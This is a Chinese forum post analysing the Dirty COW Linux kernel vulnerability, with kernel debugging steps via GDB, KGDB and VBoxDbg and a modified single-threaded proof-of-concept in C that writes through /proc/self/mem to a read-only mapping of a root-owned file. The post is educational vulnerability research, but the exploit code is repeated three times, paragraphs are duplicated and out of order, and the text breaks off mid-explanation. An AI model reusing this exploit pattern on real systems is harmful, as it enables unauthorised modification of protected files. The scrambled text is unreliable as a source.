调试的总体思路为:
由于Dirty Cow与ASLR/KASLR无关,所以在本实验中为了方便调试已经手动关闭了ASLR
首先直接运行修改过的dirtycowtest(运行结果如图1),可以发现,运行后sensitive.txt文件信息并未发生改变,同时记录下mmap返回地址:0x7ffff7ff7000
图1 直接运行dirtycowtest发现root权限文件未被修改
然后再次运行dirtycowtest程序,同时使用GDB+KGDB观察在__get_user_pages函数内部的执行情况,情况如下(如图2):
图2 第一次调用follow_page_mask后断下
此时(图5)是第二次执行完handle_mm_fault函数,也就是此时内核完成了COW页面的生成过程(但由于是同一进程访问自身内存,所以实际上只有一个物理页面)。然后就需要使用VBoxDbg进行后续工作了:
在Windows平台下,使用Windbg可以对物理内存和一些特殊寄存器进行读写。但是在Linux内核调试的时候,就不那么方便,因为(严格来说)KGDB+Linux内核没有实现这样的功能。即便可以通过编写proc伪文件系统模块来对物理内存进行读写,但还是没有Windbg那种方式感觉方便。于是UP主找了各种资料,最后终于发现一款比较好用的调试器VboxDbg。
VBoxDbg是VirtualBox内建的一款调试器,主要用于调试在VirtualBox内运行的Guest主机。VBoxDbg也可以查看Guest机器的物理内存和GDTR/IDTR等信息。
3、单线程版DirtyCow
脏牛能触发的一个必要原因是:双线程竞争执行、对第四级页表中的PTE进行读写操作。
为了更好的凸显脏牛的Race的问题,我把网上的公开POC修改为一个单线程版本的脏牛poc,具体如下:
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
void *worker_write(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
lseek(f,(uintptr_t) map,SEEK_SET);
write(f,str,strlen(str));
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
if (argc<3)
{
(void)fprintf(stderr, "%s\n","usage: dirtycowtest target_file new_content");
return 1;
}
f=open(argv[1],O_RDONLY); //这里由于打开的是root权限文件,所以理论上来说使用普通用户权限是无法对root文件进行修改的
fstat(f,&st);
name=argv[1];
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
worker_write(argv[2]); //这里尝试进行了写操作
return 0;
}
可以看到,代码中只有一个线程,且该线程仅仅执行了一个write动作。我们等下会用VBoxDbg来模拟第二个线程原本的动作(madvise)
4、调试单线程版DirtyCow
调试的总体思路为:
- 使用GDB+KGDB在follow_page_mask函数调用返回后的第一条内核指令、以及faultin_page函数内部调用handle_mm_fault函数返回后的第一条内核指令处分别下内存访问断点;
- 使用GDB+KGDB监控用户态调用mmap后返回地址处的内存信息;
- 在第二次调用handle_mm_fault后借助VBoxDbg手动修改PTE信息并让程序运行起来,观察结果。
脏牛能触发的一个必要原因是:双线程竞争执行、对第四级页表中的PTE进行读写操作。
为了更好的凸显脏牛的Race的问题,我把网上的公开POC修改为一个单线程版本的脏牛poc,具体如下:
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
void *worker_write(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
lseek(f,(uintptr_t) map,SEEK_SET);
write(f,str,strlen(str));
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
if (argc<3)
{
(void)fprintf(stderr, "%s\n","usage: dirtycowtest target_file new_content");
return 1;
}
f=open(argv[1],O_RDONLY); //这里由于打开的是root权限文件,所以理论上来说使用普通用户权限是无法对root文件进行修改的
fstat(f,&st);
name=argv[1];
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
worker_write(argv[2]); //这里尝试进行了写操作
return 0;
}
可以看到,代码中只有一个线程,且该线程仅仅执行了一个write动作。我们等下会用VBoxDbg来模拟第二个线程原本的动作(madvise)
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
void *worker_write(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
lseek(f,(uintptr_t) map,SEEK_SET);
write(f,str,strlen(str));
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
if (argc<3)
{
(void)fprintf(stderr, "%s\n","usage: dirtycowtest target_file new_content");
return 1;
}
f=open(argv[1],O_RDONLY); //这里由于打开的是root权限文件,所以理论上来说使用普通用户权限是无法对root文件进行修改的
fstat(f,&st);
name=argv[1];
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
worker_write(argv[2]); //这里尝试进行了写操作
return 0;
}
可以看到,代码中只有一个线程,且该线程仅仅执行了一个write动作。我们等下会用VBoxDbg来模拟第二个线程原本的动作(madvise)
4、调试单线程版DirtyCow
调试的总体思路为:
- 使用GDB+KGDB在follow_page_mask函数调用返回后的第一条内核指令、以及faultin_page函数内部调用handle_mm_fault函数返回后的第一条内核指令处分别下内存访问断点;
- 使用GDB+KGDB监控用户态调用mmap后返回地址处的内存信息;
- 在第二次调用handle_mm_fault后借助VBoxDbg手动修改PTE信息并让程序运行起来,观察结果。
由于Dirty Cow与ASLR/KASLR无关,所以在本实验中为了方便调试已经手动关闭了ASLR
首先直接运行修改过的dirtycowtest(运行结果如图1),可以发现,运行后sensitive.txt文件信息并未发生改变,同时记录下mmap返回地址:0x7ffff7ff7000
图1 直接运行dirtycowtest发现root权限文件未被修改
然后再次运行dirtycowtest程序,同时使用GDB+KGDB观察在__get_user_pages函数内部的执行情况,情况如下(如图2):
图2 第一次调用follow_page_mask后断下
由于Dirty Cow与ASLR/KASLR无关,所以在本实验中为了方便调试已经手动关闭了ASLR
首先直接运行修改过的dirtycowtest(运行结果如图1),可以发现,运行后sensitive.txt文件信息并未发生改变,同时记录下mmap返回地址:0x7ffff7ff7000
图1 直接运行dirtycowtest发现root权限文件未被修改
然后再次运行dirtycowtest程序,同时使用GDB+KGDB观察在__get_user_pages函数内部的执行情况,情况如下(如图2):
图2 第一次调用follow_page_mask后断下
可以看到,当前处于刚刚执行完follow_page_mask的时刻(图2),并且此时由于页面未被调入物理内存中,所以用户态地址0x7ffff7ff7000处于无法访问的状态。且此时执行follow_page_mask的返回结果也为0(表示返回错误,未获取到struct page信息)。接下来继续执行,进入到faultin_page函数内部,在handle_mm_fault函数执行完毕后断下:
图3 第一次调用handle_mm_fault后断下
此时(图3)可以看到,地址0x7ffff7ff7000可以被访问到了(页表中PTE状态为present),并且结果为0x000a363534333231(sensitive.txt的文件内容的二进制形式表示)。然后继续执行:
图4 第二次调用follow_page_mask后断下
当再次执行完follow_page_mask函数时(图4),发现虽然地址0x7ffff7ff7000可以被访问了,但follow_page_mask返回值page依然为0。这是由于foll_flags与页表PTE记录的权限信息不符,因此触发了一个写异常。继续执行:
图5 第二次调用handle_mm_fault后断下
此时(图5)是第二次执行完handle_mm_fault函数,也就是此时内核完成了COW页面的生成过程(但由于是同一进程访问自身内存,所以实际上只有一个物理页面)。然后就需要使用VBoxDbg进行后续工作了:
首先通过已知的用户态地址0x7ffff7ff7000,可以计算出在x86_64环境中,其四级页表的每级偏移分别为:0x7F8、0xFF8、0xDF8、0xFB8。这里我们要使用到VBoxDbg的四个命令,分别为:
可以看到,当前处于刚刚执行完follow_page_mask的时刻(图2),并且此时由于页面未被调入物理内存中,所以用户态地址0x7ffff7ff7000处于无法访问的状态。且此时执行follow_page_mask的返回结果也为0(表示返回错误,未获取到struct page信息)。接下来继续执行,进入到faultin_page函数内部,在handle_mm_fault函数执行完毕后断下:
图3 第一次调用handle_mm_fault后断下
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2018-8-8 17:45
被OxLucifer编辑
,原因: